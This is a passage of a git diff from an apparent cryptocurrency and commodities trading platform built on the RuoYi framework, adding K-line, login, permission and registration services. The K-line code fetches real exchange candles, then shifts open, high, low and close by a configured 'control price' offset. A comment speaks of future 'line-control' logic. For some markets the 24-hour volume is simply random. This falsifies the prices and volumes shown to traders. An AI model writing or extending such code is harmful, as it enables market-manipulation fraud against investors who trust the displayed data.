i++) { + JSONArray jsonObject = parse.getJSONArray(i); + Object[] array = jsonObject.toArray(); + Kline kline = new Kline(); + kline.setTimestamp((Long) array[0]); + kline.setOpen(Double.parseDouble((String) array[1])); + kline.setHigh(Double.parseDouble((String) array[2])); + kline.setLow(Double.parseDouble((String) array[3])); + kline.setClose(Double.parseDouble((String) array[4])); + kline.setVolume(Double.parseDouble((String) array[5])); + his.add(kline); + } + his = botKlineModelInfoService.selectBotLineList(symbol.toLowerCase() + "usdt", his, klineParam.getInterval()); + + return his; + } + case "huobi": { + MarketAPIServiceImpl huobiAPIService = new MarketAPIServiceImpl(); + SwapMarketHistoryKlineRequest result = SwapMarketHistoryKlineRequest.builder() + .contractCode(symbol.toUpperCase() + "-USDT")//合约代码 "BTC-USDT" ... + .period(CandlestickIntervalEnum.getValue(klineParam.getInterval())) //K线类型 1min, 5min, 15min, 30min, 60min,4hour,1day,1week,1mon + .size(1000) //获取数量,默认150 [1,2000] + //.from() //开始时间戳 10位 单位S + //.to();//结束时间戳 10位 单位S + .build(); + List his = new ArrayList<>(); + SwapMarketHistoryKlineResponse response = huobiAPIService.getSwapMarketHistoryKline(result); + if ("ok".equalsIgnoreCase(response.getStatus())) { + List list = response.getData(); + for (SwapMarketHistoryKlineResponse.DataBean data : list) { + Kline kline = new Kline(); + kline.setTimestamp(data.getId()); + kline.setOpen(data.getOpen().doubleValue()); + kline.setHigh(data.getHigh().doubleValue()); + kline.setLow(data.getLow().doubleValue()); + kline.setClose(data.getClose().doubleValue()); + kline.setVolume(data.getVol().doubleValue()); + his.add(kline); + } + } + his = botKlineModelInfoService.selectBotLineList(symbol.toLowerCase() + "usdt", his, klineParam.getInterval()); + return his; + } + case "echo": { + //后续加上控线逻辑 + Map parameters = new LinkedHashMap<>(); + SpotClient client = new SpotClientImpl(); + KlineSymbol one = klineSymbolService.getOne(new LambdaQueryWrapper().eq(KlineSymbol::getSymbol, symbol.toLowerCase())); + if (null == one) { + return null; + } + parameters.put("symbol", one.getReferCoin().toUpperCase() + "USDT"); + Interval interval = Interval.valueOf(klineParam.getInterval()); + parameters.put("interval", interval.toString()); + if (klineParam.getEnd() != null) { + parameters.put("endTime", klineParam.getEnd()); + } + log.debug("参数" + JSONObject.toJSONString(parameters)); + String result = client.createMarket().klines(parameters); + List his = new ArrayList<>(); + JSONArray parse = JSONArray.parse(result); + for (int i = 0; i < parse.size(); i++) { + JSONArray jsonObject = parse.getJSONArray(i); + Object[] array = jsonObject.toArray(); + Kline kline = new Kline(); + kline.setTimestamp((Long) array[0]); + kline.setOpen(Double.parseDouble((String) array[1])); + kline.setHigh(Double.parseDouble((String) array[2])); + kline.setLow(Double.parseDouble((String) array[3])); + kline.setClose(Double.parseDouble((String) array[4])); + kline.setVolume(Double.parseDouble((String) array[5])); + his.add(kline); + } + his = itOwnCoinService.selectLineList(one, his); + his = botKlineModelInfoService.selectBotLineList(symbol.toLowerCase() + "usdt", his, klineParam.getInterval()); + return his; + } + case "energy": { + Random random = new Random(); + double v = random.nextDouble(); + String url = "https://api-q.fx678img.com/histories.php?symbol=" + + symbol.toUpperCase() + "&limit=" + 1000 + "&resolution=" + timeCode + "&codeType=5700&st=" + v; + String result = HttpRequest.get(url) + .header("Referer", "https://quote.fx678.com/") + .header("Host", "api-q.fx678img.com") + .header("Origin", "https://quote.fx678.com") + .timeout(20000) + .execute().body(); + JSONObject ret = JSONObject.parseObject(result); + List klines = buildHisKline(ret); + return botKlineModelInfoService.selectBotLineList(symbol.toLowerCase(), klines, klineParam.getInterval()); + } + default: { + Random random = new Random(); + double v = random.nextDouble(); + String url = "https://api-q.fx678img.com/histories.php?symbol=" + symbol.toUpperCase() + "&limit=" + 1000 + "&resolution=" + timeCode + "&codeType=8100&st=" + v; + String result = HttpRequest.get(url) + .header("referer", "https://quote.fx678.com/") + .timeout(10000) + .execute().body(); + JSONObject ret = JSONObject.parseObject(result); + List klines = buildHisKline(ret); + if (klines.isEmpty()) { + url = "https://api-q.fx678img.com/histories.php?symbol=" + symbol.toUpperCase() + "&limit=" + 1000 + "&resolution=" + timeCode + "&codeType=8200&st=" + v; + result = HttpRequest.get(url) + .header("referer", "https://quote.fx678.com/") + .timeout(10000) + .execute().body(); + } + ret = JSONObject.parseObject(result); + klines = buildHisKline(ret); + if (klines.isEmpty()) { + url = "https://api-q.fx678img.com/histories.php?symbol=" + symbol.toUpperCase() + "&limit=" + 1000 + "&resolution=" + timeCode + "&codeType=5c00&st=" + v; + result = HttpRequest.get(url) + .header("referer", "https://quote.fx678.com/") + .timeout(10000) + .execute().body(); + } + ret = JSONObject.parseObject(result); + klines = buildHisKline(ret); + return botKlineModelInfoService.selectBotLineList(symbol.toLowerCase(), klines, klineParam.getInterval()); + } + } + } + + private String getMt5Time(String time) { + //["ONE_MIN","FIVE_MIN","FIFTEEN_MIN","THIRTY_MIN","ONE_HOUR","TWO_HOUR","SIX_HOUR","ONE_DAY","TWO_DAY","SEVEN_DAY"] + switch (time) { + case "ONE_MIN": + return "1"; + case "FIVE_MIN": + return "5"; + case "FIFTEEN_MIN": + return "15"; + case "THIRTY_MIN": + return "30"; + case "ONE_HOUR": + return "60"; + case "ONE_DAY": + return "D"; + case "SEVEN_DAY": + return "W"; + default: + return ""; + } + } + + private List buildHisKline(JSONObject ret) { + List klines = new ArrayList<>(); + String s = ret.getString("s"); + if ("ok".equals(s)) { + JSONArray close = ret.getJSONArray("c"); + JSONArray high = ret.getJSONArray("h"); + JSONArray low = ret.getJSONArray("l"); + JSONArray open = ret.getJSONArray("o"); + JSONArray volume = ret.getJSONArray("v"); + JSONArray timestamp = ret.getJSONArray("t"); + Kline kline; + for (int i = 0; i < close.size(); i++) { + kline = new Kline(); + kline.setClose(close.getDouble(i)); + kline.setOpen(open.getDouble(i)); + kline.setHigh(high.getDouble(i)); + kline.setLow(low.getDouble(i)); + kline.setVolume(volume.getDouble(i)); + kline.setTimestamp((timestamp.getLong(i)) * 1000L); + klines.add(kline); + } + } + return klines; + } + + public Ticker24hVO getHistoryKline24hrTicker(KlineParamVO klineParamVO) { + String market = klineParamVO.getMarket(); + if("metal|mt5|energy".contains(market)){ + Ticker24hVO ticker24hVO = new Ticker24hVO(); + ticker24hVO.setSymbol(klineParamVO.getSymbol()); + BigDecimal cacheObject = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + klineParamVO.getSymbol()); + ticker24hVO.setHighPrice(cacheObject); + ticker24hVO.setLowPrice(cacheObject); + Random random = new Random(); + + double randomValue = 0 + (1000 - 0) * random.nextDouble(); + ticker24hVO.setVolume(new BigDecimal(randomValue)); + return ticker24hVO; + } + Map parameters = new LinkedHashMap<>(); + SpotClient client = new SpotClientImpl(); + parameters.put("symbol", klineParamVO.getSymbol().toUpperCase() + "USDT"); + if("echo".equals(market)){ + KlineSymbol one = klineSymbolService.getOne(new LambdaQueryWrapper().eq(KlineSymbol::getSymbol, klineParamVO.getSymbol().toLowerCase())); + if(null == one){ + return null; + } + parameters.put("symbol", one.getReferCoin().toUpperCase() + "USDT"); + } + String result = client.createMarket().ticker24H(parameters); + Ticker24hVO ticker24hVO = JSON.parseObject(result, Ticker24hVO.class); + return ticker24hVO; + } + + public Ticker24hVO getHistoryKline24hrTicker2(KlineParamVO klineParamVO) { + //遍历传来的market参数数组 + Object marketValue = klineParamVO.getMarkets(); + // 如果 marketValue 是字符串数组,遍历数组元素执行条件判断 + String[] marketArray = (String[]) marketValue; + List dataList = new ArrayList<>(); + Map parameters = new LinkedHashMap<>(); + SpotClient client = new SpotClientImpl(); + //循环遍历所有数据来执行以下操作 + for (String market : marketArray) { + Object symbolValue = klineParamVO.getSymbols(); + // 如果 symbolValue 是字符串数组,遍历数组元素执行条件判断 + String[] symbolArray = (String[]) symbolValue; + for (String symbol : symbolArray) { + if (market.equals("metal") || market.equals("mt5")) { + Ticker24hVO ticker24hVO = new Ticker24hVO(); + + ticker24hVO.setSymbol(symbol); + BigDecimal cacheObject = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + symbol); + ticker24hVO.setHighPrice(cacheObject); + ticker24hVO.setLowPrice(cacheObject); + Random random = new Random(); + double randomValue = 0 + (1000 - 0) * random.nextDouble(); + ticker24hVO.setVolume(new BigDecimal(randomValue)); + return ticker24hVO; + } + parameters.put("symbol", symbol.toUpperCase() + "USDT"); + if (market.equals("echo")) { + KlineSymbol one = klineSymbolService.getOne(new LambdaQueryWrapper().eq(KlineSymbol::getSymbol, symbol.toLowerCase())); + if (null == one) { + return null; + } + parameters.put("symbol", one.getReferCoin().toUpperCase() + "USDT"); + } + } + } + String result = client.createMarket().ticker24H(parameters); + Ticker24hVO ticker24hVO = JSON.parseObject(result, Ticker24hVO.class); + return ticker24hVO; + } + + public List getConPriceMap(KlineParamVO klineParamVO, List historyKline){ + TBotKlineModel tBotKlineModel = new TBotKlineModel(); + tBotKlineModel.setSymbol(klineParamVO.getSymbol()+"usdt"); + tBotKlineModel.setModel(0L); + List tBotKlineModels = botKlineModelService.selectTBotKlineModelList(tBotKlineModel); + BigDecimal cc = new BigDecimal(0); + int num = 0; + for (TBotKlineModel tBotKlineModel1: tBotKlineModels ) { + cc=cc.add( tBotKlineModel1.getConPrice()); + boolean isF = true; + int a = 0; + long time = tBotKlineModel1.getBeginTime().getTime(); + for (Kline kline: historyKline) { + + if(kline.getTimestamp()>=time){ + if(isF){ + double c = kline.getClose() + tBotKlineModel1.getConPrice().doubleValue(); + double h = kline.getHigh() + tBotKlineModel1.getConPrice().doubleValue(); + double l = kline.getLow() + tBotKlineModel1.getConPrice().doubleValue(); + kline.setClose(c); + if(h>kline.getHigh()){ + kline.setHigh(h); + } + if(l getConPriceMap2(KlineParamVO klineParamVO, List historyKline){ + TBotKlineModel tBotKlineModel = new TBotKlineModel(); + //遍历币种数组 + Object symbolValue = klineParamVO.getSymbols(); + // 如果 symbolValue 是字符串数组,遍历数组元素执行条件判断 + String[] symbolArray = (String[]) symbolValue; + for (String symbol : symbolArray) { + tBotKlineModel.setSymbol(symbol + "usdt"); + tBotKlineModel.setModel(0L); + List tBotKlineModels = botKlineModelService.selectTBotKlineModelList(tBotKlineModel); + BigDecimal cc = new BigDecimal(0); + int num = 0; + for (TBotKlineModel tBotKlineModel1 : tBotKlineModels) { + cc = cc.add(tBotKlineModel1.getConPrice()); + boolean isF = true; + int a = 0; + long time = tBotKlineModel1.getBeginTime().getTime(); + for (Kline kline : historyKline) { + + if (kline.getTimestamp() >= time) { + if (isF) { + double c = kline.getClose() + tBotKlineModel1.getConPrice().doubleValue(); + double h = kline.getHigh() + tBotKlineModel1.getConPrice().doubleValue(); + double l = kline.getLow() + tBotKlineModel1.getConPrice().doubleValue(); + kline.setClose(c); + if (h > kline.getHigh()) { + kline.setHigh(h); + } + if (l < kline.getLow()) { + kline.setLow(l); + } + isF = false; + } else { + double c = kline.getClose() + tBotKlineModel1.getConPrice().doubleValue(); + double h = kline.getHigh() + tBotKlineModel1.getConPrice().doubleValue(); + double l = kline.getLow() + tBotKlineModel1.getConPrice().doubleValue(); + double o = kline.getOpen() + tBotKlineModel1.getConPrice().doubleValue(); + kline.setClose(c); + kline.setHigh(h); + kline.setLow(l); + kline.setOpen(o); + } + } + + a++; + if (a == historyKline.size()) { + BigDecimal cacheObject = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + symbol.replace("usdt", "").toLowerCase()); + kline.setClose(cacheObject.doubleValue()); + } + + } + + num++; + } + } + return historyKline; + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/HuobiService.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/HuobiService.java new file mode 100644 index 0000000..8dc5f83 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/HuobiService.java @@ -0,0 +1,14 @@ +package com.ruoyi.framework.web.service; + +import com.alibaba.fastjson2.JSONObject; +import com.fasterxml.jackson.annotation.JsonFormat; +import com.ruoyi.framework.web.domain.KlineParamVO; +import org.jvnet.hk2.annotations.Service; +import java.util.ArrayList; +import java.util.List; +import java.util.concurrent.atomic.AtomicReference; + +@Service +public class HuobiService { + +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/PermissionService.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/PermissionService.java new file mode 100644 index 0000000..c2f97a1 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/PermissionService.java @@ -0,0 +1,168 @@ +package com.ruoyi.framework.web.service; + +import java.util.Set; +import org.springframework.stereotype.Service; +import org.springframework.util.CollectionUtils; +import com.ruoyi.common.core.domain.entity.SysRole; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.framework.security.context.PermissionContextHolder; + +/** + * RuoYi首创 自定义权限实现,ss取自SpringSecurity首字母 + * + * @author ruoyi + */ +@Service("ss") +public class PermissionService +{ + /** 所有权限标识 */ + private static final String ALL_PERMISSION = "*:*:*"; + + /** 管理员角色权限标识 */ + private static final String SUPER_ADMIN = "admin"; + + private static final String ROLE_DELIMETER = ","; + + private static final String PERMISSION_DELIMETER = ","; + + /** + * 验证用户是否具备某权限 + * + * @param permission 权限字符串 + * @return 用户是否具备某权限 + */ + public boolean hasPermi(String permission) + { + if (StringUtils.isEmpty(permission)) + { + return false; + } + LoginUser loginUser = SecurityUtils.getLoginUser(); + if (StringUtils.isNull(loginUser) || CollectionUtils.isEmpty(loginUser.getPermissions())) + { + return false; + } + PermissionContextHolder.setContext(permission); + return hasPermissions(loginUser.getPermissions(), permission); + } + + /** + * 验证用户是否不具备某权限,与 hasPermi逻辑相反 + * + * @param permission 权限字符串 + * @return 用户是否不具备某权限 + */ + public boolean lacksPermi(String permission) + { + return hasPermi(permission) != true; + } + + /** + * 验证用户是否具有以下任意一个权限 + * + * @param permissions 以 PERMISSION_NAMES_DELIMETER 为分隔符的权限列表 + * @return 用户是否具有以下任意一个权限 + */ + public boolean hasAnyPermi(String permissions) + { + if (StringUtils.isEmpty(permissions)) + { + return false; + } + LoginUser loginUser = SecurityUtils.getLoginUser(); + if (StringUtils.isNull(loginUser) || CollectionUtils.isEmpty(loginUser.getPermissions())) + { + return false; + } + PermissionContextHolder.setContext(permissions); + Set authorities = loginUser.getPermissions(); + for (String permission : permissions.split(PERMISSION_DELIMETER)) + { + if (permission != null && hasPermissions(authorities, permission)) + { + return true; + } + } + return false; + } + + /** + * 判断用户是否拥有某个角色 + * + * @param role 角色字符串 + * @return 用户是否具备某角色 + */ + public boolean hasRole(String role) + { + if (StringUtils.isEmpty(role)) + { + return false; + } + LoginUser loginUser = SecurityUtils.getLoginUser(); + if (StringUtils.isNull(loginUser) || CollectionUtils.isEmpty(loginUser.getUser().getRoles())) + { + return false; + } + for (SysRole sysRole : loginUser.getUser().getRoles()) + { + String roleKey = sysRole.getRoleKey(); + if (SUPER_ADMIN.equals(roleKey) || roleKey.equals(StringUtils.trim(role))) + { + return true; + } + } + return false; + } + + /** + * 验证用户是否不具备某角色,与 isRole逻辑相反。 + * + * @param role 角色名称 + * @return 用户是否不具备某角色 + */ + public boolean lacksRole(String role) + { + return hasRole(role) != true; + } + + /** + * 验证用户是否具有以下任意一个角色 + * + * @param roles 以 ROLE_NAMES_DELIMETER 为分隔符的角色列表 + * @return 用户是否具有以下任意一个角色 + */ + public boolean hasAnyRoles(String roles) + { + if (StringUtils.isEmpty(roles)) + { + return false; + } + LoginUser loginUser = SecurityUtils.getLoginUser(); + if (StringUtils.isNull(loginUser) || CollectionUtils.isEmpty(loginUser.getUser().getRoles())) + { + return false; + } + for (String role : roles.split(ROLE_DELIMETER)) + { + if (hasRole(role)) + { + return true; + } + } + return false; + } + + /** + * 判断是否包含权限 + * + * @param permissions 权限列表 + * @param permission 权限字符串 + * @return 用户是否具备某权限 + */ + private boolean hasPermissions(Set permissions, String permission) + { + return permissions.contains(ALL_PERMISSION) || permissions.contains(StringUtils.trim(permission)); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysLoginService.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysLoginService.java new file mode 100644 index 0000000..6fa8eee --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysLoginService.java @@ -0,0 +1,186 @@ +package com.ruoyi.framework.web.service; + +import javax.annotation.Resource; + +import com.ruoyi.bussiness.domain.setting.MarketUrlSetting; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.authentication.AuthenticationManager; +import org.springframework.security.authentication.BadCredentialsException; +import org.springframework.security.authentication.UsernamePasswordAuthenticationToken; +import org.springframework.security.core.Authentication; +import org.springframework.stereotype.Component; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.constant.UserConstants; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.exception.ServiceException; +import com.ruoyi.common.exception.user.BlackListException; +import com.ruoyi.common.exception.user.CaptchaException; +import com.ruoyi.common.exception.user.CaptchaExpireException; +import com.ruoyi.common.exception.user.UserNotExistsException; +import com.ruoyi.common.exception.user.UserPasswordNotMatchException; +import com.ruoyi.common.utils.DateUtils; +import com.ruoyi.common.utils.MessageUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.ip.IpUtils; +import com.ruoyi.framework.manager.AsyncManager; +import com.ruoyi.framework.manager.factory.AsyncFactory; +import com.ruoyi.framework.security.context.AuthenticationContextHolder; +import com.ruoyi.system.service.ISysConfigService; +import com.ruoyi.system.service.ISysUserService; + +/** + * 登录校验方法 + * + * @author ruoyi + */ +@Component +public class SysLoginService +{ + @Autowired + private TokenService tokenService; + + @Resource + private AuthenticationManager authenticationManager; + + @Autowired + private RedisCache redisCache; + + @Autowired + private ISysUserService userService; + + @Autowired + private ISysConfigService configService; + + /** + * 登录验证 + * + * @param username 用户名 + * @param password 密码 + * @param code 验证码 + * @param uuid 唯一标识 + * @param marketUrl + * @return 结果 + */ + public String login(String username, String password, String code, String uuid, MarketUrlSetting marketUrl) + { + // 验证码校验 + if(marketUrl.getAdminCode()){ + validateCaptcha(username, code, uuid); + } + // 登录前置校验 + loginPreCheck(username, password); + // 用户验证 + Authentication authentication = null; + try + { + UsernamePasswordAuthenticationToken authenticationToken = new UsernamePasswordAuthenticationToken(username, password); + AuthenticationContextHolder.setContext(authenticationToken); + // 该方法会去调用UserDetailsServiceImpl.loadUserByUsername + authentication = authenticationManager.authenticate(authenticationToken); + } + catch (Exception e) + { + if (e instanceof BadCredentialsException) + { + AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, MessageUtils.message("user.password.not.match"))); + throw new UserPasswordNotMatchException(); + } + else + { + AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, e.getMessage())); + throw new ServiceException(e.getMessage()); + } + } + finally + { + AuthenticationContextHolder.clearContext(); + } + AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_SUCCESS, MessageUtils.message("user.login.success"))); + LoginUser loginUser = (LoginUser) authentication.getPrincipal(); + recordLoginInfo(loginUser.getUserId()); + // 生成token + return tokenService.createToken(loginUser); + } + + /** + * 校验验证码 + * + * @param username 用户名 + * @param code 验证码 + * @param uuid 唯一标识 + * @return 结果 + */ + public void validateCaptcha(String username, String code, String uuid) + { + boolean captchaEnabled = configService.selectCaptchaEnabled(); + if (captchaEnabled) + { + String verifyKey = CacheConstants.CAPTCHA_CODE_KEY + StringUtils.nvl(uuid, ""); + String captcha = redisCache.getCacheObject(verifyKey); + redisCache.deleteObject(verifyKey); + if (captcha == null) + { + AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.expire"))); + throw new CaptchaExpireException(); + } + if (!code.equalsIgnoreCase(captcha)) + { + AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, MessageUtils.message("user.jcaptcha.error"))); + throw new CaptchaException(); + } + } + } + + /** + * 登录前置校验 + * @param username 用户名 + * @param password 用户密码 + */ + public void loginPreCheck(String username, String password) + { + // 用户名或密码为空 错误 + if (StringUtils.isEmpty(username) || StringUtils.isEmpty(password)) + { + AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, MessageUtils.message("not.null"))); + throw new UserNotExistsException(); + } + // 密码如果不在指定范围内 错误 + if (password.length() < UserConstants.PASSWORD_MIN_LENGTH + || password.length() > UserConstants.PASSWORD_MAX_LENGTH) + { + AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, MessageUtils.message("user.password.not.match"))); + throw new UserPasswordNotMatchException(); + } + // 用户名不在指定范围内 错误 + if (username.length() < UserConstants.USERNAME_MIN_LENGTH + || username.length() > UserConstants.USERNAME_MAX_LENGTH) + { + AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, MessageUtils.message("user.password.not.match"))); + throw new UserPasswordNotMatchException(); + } + // IP黑名单校验 + String blackStr = configService.selectConfigByKey("sys.login.blackIPList"); + if (IpUtils.isMatchedIp(blackStr, IpUtils.getIpAddr())) + { + AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, MessageUtils.message("login.blocked"))); + throw new BlackListException(); + } + } + + /** + * 记录登录信息 + * + * @param userId 用户ID + */ + public void recordLoginInfo(Long userId) + { + SysUser sysUser = new SysUser(); + sysUser.setUserId(userId); + sysUser.setLoginIp(IpUtils.getIpAddr()); + sysUser.setLoginDate(DateUtils.getNowDate()); + userService.updateUserProfile(sysUser); + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysPasswordService.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysPasswordService.java new file mode 100644 index 0000000..6ad91b0 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysPasswordService.java @@ -0,0 +1,94 @@ +package com.ruoyi.framework.web.service; + +import java.util.concurrent.TimeUnit; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.beans.factory.annotation.Value; +import org.springframework.security.core.Authentication; +import org.springframework.stereotype.Component; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.exception.user.UserPasswordNotMatchException; +import com.ruoyi.common.exception.user.UserPasswordRetryLimitExceedException; +import com.ruoyi.common.utils.MessageUtils; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.framework.manager.AsyncManager; +import com.ruoyi.framework.manager.factory.AsyncFactory; +import com.ruoyi.framework.security.context.AuthenticationContextHolder; + +/** + * 登录密码方法 + * + * @author ruoyi + */ +@Component +public class SysPasswordService +{ + @Autowired + private RedisCache redisCache; + + @Value(value = "${user.password.maxRetryCount}") + private int maxRetryCount; + + @Value(value = "${user.password.lockTime}") + private int lockTime; + + /** + * 登录账户密码错误次数缓存键名 + * + * @param username 用户名 + * @return 缓存键key + */ + private String getCacheKey(String username) + { + return CacheConstants.PWD_ERR_CNT_KEY + username; + } + + public void validate(SysUser user) + { + Authentication usernamePasswordAuthenticationToken = AuthenticationContextHolder.getContext(); + String username = usernamePasswordAuthenticationToken.getName(); + String password = usernamePasswordAuthenticationToken.getCredentials().toString(); + + Integer retryCount = redisCache.getCacheObject(getCacheKey(username)); + + if (retryCount == null) + { + retryCount = 0; + } + + if (retryCount >= Integer.valueOf(maxRetryCount).intValue()) + { + AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, + MessageUtils.message("user.password.retry.limit.exceed", maxRetryCount, lockTime))); + throw new UserPasswordRetryLimitExceedException(maxRetryCount, lockTime); + } + + if (!matches(user, password)) + { + retryCount = retryCount + 1; + AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.LOGIN_FAIL, + MessageUtils.message("user.password.retry.limit.count", retryCount))); + redisCache.setCacheObject(getCacheKey(username), retryCount, lockTime, TimeUnit.MINUTES); + throw new UserPasswordNotMatchException(); + } + else + { + clearLoginRecordCache(username); + } + } + + public boolean matches(SysUser user, String rawPassword) + { + return SecurityUtils.matchesPassword(rawPassword, user.getPassword()); + } + + public void clearLoginRecordCache(String loginName) + { + if (redisCache.hasKey(getCacheKey(loginName))) + { + redisCache.deleteObject(getCacheKey(loginName)); + } + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysPermissionService.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysPermissionService.java new file mode 100644 index 0000000..d1fb4ed --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysPermissionService.java @@ -0,0 +1,83 @@ +package com.ruoyi.framework.web.service; + +import java.util.HashSet; +import java.util.List; +import java.util.Set; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Component; +import org.springframework.util.CollectionUtils; +import com.ruoyi.common.core.domain.entity.SysRole; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.system.service.ISysMenuService; +import com.ruoyi.system.service.ISysRoleService; + +/** + * 用户权限处理 + * + * @author ruoyi + */ +@Component +public class SysPermissionService +{ + @Autowired + private ISysRoleService roleService; + + @Autowired + private ISysMenuService menuService; + + /** + * 获取角色数据权限 + * + * @param user 用户信息 + * @return 角色权限信息 + */ + public Set getRolePermission(SysUser user) + { + Set roles = new HashSet(); + // 管理员拥有所有权限 + if (user.isAdmin()) + { + roles.add("admin"); + } + else + { + roles.addAll(roleService.selectRolePermissionByUserId(user.getUserId())); + } + return roles; + } + + /** + * 获取菜单数据权限 + * + * @param user 用户信息 + * @return 菜单权限信息 + */ + public Set getMenuPermission(SysUser user) + { + Set perms = new HashSet(); + // 管理员拥有所有权限 + if (user.isAdmin()) + { + perms.add("*:*:*"); + } + else + { + List roles = user.getRoles(); + if (!CollectionUtils.isEmpty(roles)) + { + // 多角色设置permissions属性,以便数据权限匹配权限 + for (SysRole role : roles) + { + Set rolePerms = menuService.selectMenuPermsByRoleId(role.getRoleId()); + role.setPermissions(rolePerms); + perms.addAll(rolePerms); + } + } + else + { + perms.addAll(menuService.selectMenuPermsByUserId(user.getUserId())); + } + } + return perms; + } +} diff --git a/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysRegisterService.java b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysRegisterService.java new file mode 100644 index 0000000..f2afe31 --- /dev/null +++ b/ruoyi-framework/src/main/java/com/ruoyi/framework/web/service/SysRegisterService.java @@ -0,0 +1,115 @@ +package com.ruoyi.framework.web.service; + +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Component; +import com.ruoyi.common.constant.CacheConstants; +import com.ruoyi.common.constant.Constants; +import com.ruoyi.common.constant.UserConstants; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.RegisterBody; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.exception.user.CaptchaException; +import com.ruoyi.common.exception.user.CaptchaExpireException; +import com.ruoyi.common.utils.MessageUtils; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.framework.manager.AsyncManager; +import com.ruoyi.framework.manager.factory.AsyncFactory; +import com.ruoyi.system.service.ISysConfigService; +import com.ruoyi.system.service.ISysUserService; + +/** + * 注册校验方法 + * + * @author ruoyi + */ +@Component +public class SysRegisterService +{ + @Autowired + private ISysUserService userService; + + @Autowired + private ISysConfigService configService; + + @Autowired + private RedisCache redisCache; + + /** + * 注册 + */ + public String register(RegisterBody registerBody) + { + String msg = "", username = registerBody.getUsername(), password = registerBody.getPassword(); + SysUser sysUser = new SysUser(); + sysUser.setUserName(username); + + // 验证码开关 + boolean captchaEnabled = configService.selectCaptchaEnabled(); + if (captchaEnabled) + { + validateCaptcha(username, registerBody.getCode(), registerBody.getUuid()); + } + + if (StringUtils.isEmpty(username)) + { + msg = "用户名不能为空"; + } + else if (StringUtils.isEmpty(password)) + { + msg = "用户密码不能为空"; + } + else if (username.length() < UserConstants.USERNAME_MIN_LENGTH + || username.length() > UserConstants.USERNAME_MAX_LENGTH) + { + msg = "账户长度必须在2到20个字符之间"; + } + else if (password.length() < UserConstants.PASSWORD_MIN_LENGTH + || password.length() > UserConstants.PASSWORD_MAX_LENGTH) + { + msg = "密码长度必须在5到20个字符之间"; + } + else if (!userService.checkUserNameUnique(sysUser)) + { + msg = "保存用户'" + username + "'失败,注册账号已存在"; + } + else + { + sysUser.setNickName(username); + sysUser.setPassword(SecurityUtils.encryptPassword(password)); + boolean regFlag = userService.registerUser(sysUser); + if (!regFlag) + { + msg = "注册失败,请联系系统管理人员"; + } + else + { + AsyncManager.me().execute(AsyncFactory.recordLogininfor(username, Constants.REGISTER, MessageUtils.message("user.register.success"))); + } + } + return msg; + } + + /** + * 校验验证码 + * + * @param username 用户名 + * @param code 验证码 + * @param uuid 唯一标识 + * @return 结果 + */ + public void validateCaptcha(String username, String code, String uuid) + { + String verifyKey = CacheConstants.CAPTCHA_CODE_KEY + StringUtils.nvl(uuid, ""); + String captcha = redisCache.getCacheObject(verifyKey); + redisCache.deleteObject(verifyKey); + if (captcha == null) + { + throw new CaptchaExpireException(); + } + if (!code.equalsIgnoreCase(captcha)) + { + throw new CaptchaException(); + } + } 